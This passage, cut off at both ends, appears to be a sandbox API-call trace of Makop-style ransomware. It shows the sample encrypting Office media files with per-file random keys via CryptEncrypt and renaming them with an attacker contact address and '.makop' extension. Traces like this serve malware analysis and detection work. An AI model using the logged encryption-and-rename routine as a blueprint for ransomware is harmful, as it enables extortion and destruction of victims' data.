lpOverlapped=0x0) returned 1 [0163.045] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.045] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.046] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.046] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.046] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x248e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x248e, lpOverlapped=0x0) returned 1 [0163.048] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2490, dwBufLen=0x2490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2490) returned 1 [0163.048] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.048] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2490, lpOverlapped=0x0) returned 1 [0163.049] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.049] SetEndOfFile (hFile=0xf0) returned 1 [0163.055] GetProcessHeap () returned 0x48a0000 [0163.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.055] GetProcessHeap () returned 0x48a0000 [0163.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.055] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.057] CloseHandle (hObject=0xf0) returned 1 [0163.057] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0163.057] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF") returned 61 [0163.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.058] GetProcessHeap () returned 0x48a0000 [0163.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.059] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0163.063] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.063] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.063] GetProcessHeap () returned 0x48a0000 [0163.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.063] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.063] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.065] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.065] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.065] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.065] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb7a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb7a, lpOverlapped=0x0) returned 1 [0163.065] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb80, dwBufLen=0xb80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb80) returned 1 [0163.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb80, lpOverlapped=0x0) returned 1 [0163.066] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.066] SetEndOfFile (hFile=0xf0) returned 1 [0163.072] GetProcessHeap () returned 0x48a0000 [0163.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.072] GetProcessHeap () returned 0x48a0000 [0163.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.072] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.074] CloseHandle (hObject=0xf0) returned 1 [0163.074] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0163.074] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF") returned 61 [0163.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.075] GetProcessHeap () returned 0x48a0000 [0163.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.076] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0163.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.081] GetProcessHeap () returned 0x48a0000 [0163.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.081] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.081] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.082] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.082] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2424, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2424, lpOverlapped=0x0) returned 1 [0163.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2430, dwBufLen=0x2430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2430) returned 1 [0163.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2430, lpOverlapped=0x0) returned 1 [0163.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.084] SetEndOfFile (hFile=0xf0) returned 1 [0163.090] GetProcessHeap () returned 0x48a0000 [0163.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.090] GetProcessHeap () returned 0x48a0000 [0163.090] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.090] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.093] CloseHandle (hObject=0xf0) returned 1 [0163.093] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0163.093] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV") returned 61 [0163.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.097] GetProcessHeap () returned 0x48a0000 [0163.097] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.097] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0163.101] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.101] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.101] GetProcessHeap () returned 0x48a0000 [0163.101] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.101] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.101] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.102] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.102] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x68ba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x68ba, lpOverlapped=0x0) returned 1 [0163.104] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x68c0, dwBufLen=0x68c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x68c0) returned 1 [0163.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x68c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x68c0, lpOverlapped=0x0) returned 1 [0163.105] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.105] SetEndOfFile (hFile=0xf0) returned 1 [0163.112] GetProcessHeap () returned 0x48a0000 [0163.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.112] GetProcessHeap () returned 0x48a0000 [0163.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.112] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.114] CloseHandle (hObject=0xf0) returned 1 [0163.114] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0163.114] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF") returned 61 [0163.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.116] GetProcessHeap () returned 0x48a0000 [0163.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.116] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0163.120] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.120] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.120] GetProcessHeap () returned 0x48a0000 [0163.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, 